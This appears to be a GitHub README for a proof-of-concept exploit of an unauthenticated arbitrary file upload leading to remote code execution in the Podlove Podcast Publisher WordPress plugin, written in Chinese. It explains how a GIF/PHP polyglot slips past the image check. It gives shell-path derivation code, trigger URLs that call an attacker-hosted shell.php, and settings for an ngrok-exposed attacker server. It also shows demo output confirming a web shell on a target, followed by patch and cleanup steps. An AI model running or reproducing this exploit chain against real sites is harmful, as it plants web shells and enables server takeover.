Raimu0x19/CVE-2026-13001

GitHub: Raimu0x19/CVE-2026-13001

针对 WordPress Podlove Podcast Publisher 插件未认证任意文件上传导致远程代码执行(RCE)漏洞的概念验证利用工具。

Stars: 2 | Forks: 0

# CVE-2026-13001 — Podlove Podcast Publisher ≤ 4.5.1 未认证任意文件上传 → RCE ![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red) ![WordPress](https://img.shields.io/badge/WordPress-Plugin-blue) ![Auth](https://img.shields.io/badge/Auth-None%20Required-red) ![Type](https://img.shields.io/badge/Type-File%20Upload%20→%20RCE-critical) ## 概述 Podlove Podcast Publisher ≤ 4.5.1 存在一个未认证的任意文件上传漏洞,可导致远程代码执行(RCE)。图像缓存处理器 `podlove_handle_cache_files` 被注册在 `wp` action hook 上,且没有任何身份验证或权限检查,允许任何未认证的访问者触发远程文件获取并将其缓存到磁盘上。 由于两个内部扩展名解析函数之间存在不一致,导致 GIF89a PHP 多态文件(polyglot)可以通过图像验证检查,同时以 `.php` 扩展名保存,最终产生可执行的服务器端代码。 | 属性 | 值 | |----------------|-----------------------------------------------------| | CVE ID | CVE-2026-13001 | | 插件 | Podlove Podcast Publisher | | 受影响版本 | ≤ 4.5.1 | | 已修复版本 | 4.5.2 | | CVSS 评分 | 9.8 (严重) | | 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 需要认证 | 无 | | 类型 | 未认证任意文件上传 → RCE | ## 根本原因 该漏洞源于两个独立的函数:它们使用不同的方式从同一个受攻击者控制的 URL 中解析文件扩展名: ``` // extract_file_extension() — reads from URL PATH only // Input : https://attacker.com/shell.php?.gif // Result: php function extract_file_extension($url) { $path = parse_url($url, PHP_URL_PATH); return pathinfo($path, PATHINFO_EXTENSION); // → "php" } // is_image() — uses basename() which INCLUDES the query string // Input : https://attacker.com/shell.php?.gif // Result: gif ← bypass function is_image($url) { $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','webp']); } ``` `basename('https://attacker.com/shell.php?.gif')` 返回 `shell.php?.gif`,因此 `pathinfo()` 将扩展名识别为 `gif` —— 从而通过图像检查。 同时,`extract_file_extension()` 正确解析了路径部分并返回 `php`,这成为了磁盘上保存文件的扩展名。 **结果:** 文件被验证为 GIF 图像,但被保存为 `.php`。当使用 GIF89a 多态文件(有效的 GIF 文件头 + 嵌入的 PHP 代码)时,该文件在通过 HTTP 访问时会作为 PHP 执行。 ### Shell 路径推导 ``` import hashlib attacker_url = "https://attacker.com/shell.php?.gif" file_name = "podcast" # podlove_file_name parameter sanitized = "podcast" # after preg_replace('~[^-a-z0-9_]+~', '') h = hashlib.md5((attacker_url.strip() + sanitized).encode()).hexdigest() shell_path = f"/wp-content/cache/podlove/{h[:2]}/{h[2:]}/{sanitized}_original.php" ``` ## 利用链 ``` Attacker Target WordPress │ │ │── GET /?podlove_image_cache_url= │ │ {hex(attacker_url)}& │ │ podlove_file_name=podcast ──▶│ │ │── is_image(url) → ext=gif ✓ │ │── fetch(url) → GIF89a │ │── save as podcast_original.php │ │ │── GET /wp-content/cache/podlove/ │ │ {h[:2]}/{h[2:]}/ │ │ podcast_original.php ───────▶│ │ │── PHP executes → RCE ✓ │◀── uploader ───│ ``` ## 触发 URL **标准固定链接:** ``` GET /?podlove_image_cache_url={str2hex(attacker_url)}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={name} ``` **美观固定链接:** ``` GET /podlove/image/{str2hex(attacker_url)}/100/100/0/{name} ``` 其中 `str2hex(url)` = `url.encode().hex()`(等同于 PHP 的 `unpack('H*', $str)`)。 ## 概念验证 ### 要求 ``` pip install requests rich ``` ### 用法 ``` # 单个目标 python3 CVE-2026-13001.py # 选择选项 ♡ 用于单个目标或 ◆ 用于批量扫描 ``` ### 配置 编辑 `CVE-2026-13001.py` 中的 `CONFIG` 块: ``` # 选项 A — 通过 ngrok 暴露的本地 HTTP 服务器 ATTACKER_DOMAIN = "0.tcp.ap.ngrok.io" ATTACKER_PORT = 10973 ATTACKER_PATH = "/shell.php" # 选项 B — 预托管 shell(推荐) ATTACKER_URL_OVERRIDE = "https://yourserver.com/shell.php?.gif" FILE_NAME = "podcast" # becomes podcast_original.php on target ``` ### 演示 ``` ╔══════════════════════════════════════════════════════╗ ║ CVE-2026-13001 │ CVSS 9.8 Critical ║ ║ Podlove Podcast Publisher ≤ 4.5.1 │ Unauth RCE ║ ╚══════════════════════════════════════════════════════╝ [target] https://target.com [1/4] Version check → 4.1.0 (VULNERABLE ✓) [2/4] Soft-404 check → baseline set [3/4] Upload shell → 307 redirect (triggered) [4/4] Shell verify → 200 OK — RCE CONFIRMED Shell URL : https://target.com/wp-content/cache/podlove/ab/cd1234.../podcast_original.php ``` ## 受影响的函数 **文件:** `lib/image/image.php` (Podlove Podcast Publisher) ``` // No authentication check — any visitor can trigger this add_action('wp', 'podlove_handle_cache_files'); function podlove_handle_cache_files() { if ( ! isset( $_GET['podlove_image_cache_url'] ) ) return; $url = hex2bin( $_GET['podlove_image_cache_url'] ); $file_name = sanitize_title( $_GET['podlove_file_name'] ?? '' ); // is_image() uses basename() → includes query string → bypass if ( ! is_image( $url ) ) return; $ext = extract_file_extension( $url ); // reads PATH only → php $hash = md5( $url . $file_name ); $dest = WP_CONTENT_DIR . "/cache/podlove/{$hash[0]}{$hash[1]}/{$hash}/{$file_name}_original.{$ext}"; // Downloads attacker URL and saves as .php — no content validation wp_remote_get( $url ); // ... move to $dest } ``` ## 修复方案 ### 官方修复(更新至 4.5.2) 通过 WordPress 管理后台或 WP-CLI 更新插件: ``` wp plugin update podlove-podcasting-plugin-for-wordpress ``` ### 手动修补 **1. 修复 `is_image()` —— 在检查扩展名之前去掉查询字符串:** ``` // Before (vulnerable) function is_image($url) { $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','webp']); } // After (fixed) function is_image($url) { $path = parse_url($url, PHP_URL_PATH); $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','webp']); } ``` **2. 在保存之前拦截危险扩展名:** ``` $blocked = ['php','php3','php4','php5','php7','phtml','pht','phar']; if (in_array(strtolower($ext), $blocked)) return; ``` **3. 添加身份验证检查:** ``` function podlove_handle_cache_files() { if ( ! current_user_can('manage_options') ) return; // ... } ``` ### 利用后清理(如果已被入侵) ``` # 从 Podlove cache 中移除所有 PHP 文件 find wp-content/cache/podlove/ -name "*.php" -delete # 或移除整个 cache(安全 — 将会重新生成) rm -rf wp-content/cache/podlove/ # 检查访问日志以获取 shell 访问权限 grep "cache/podlove" access.log | grep " 200 " ``` ## 时间线 | 日期 | 事件 | |------------|----------------------------------| | 2026-07-15 | 发现漏洞 | | 2026-07-15 | 开发并测试 PoC | | 2026-07-15 | 公开披露 | ## 参考 - [WordPress 插件页面](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/) - [NVD — CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) ## 作者 **Raimu0x19**
标签:CISA项目, RCE, Web安全, WordPress, 漏洞分析, 蓝队分析, 路径探测, 逆向工具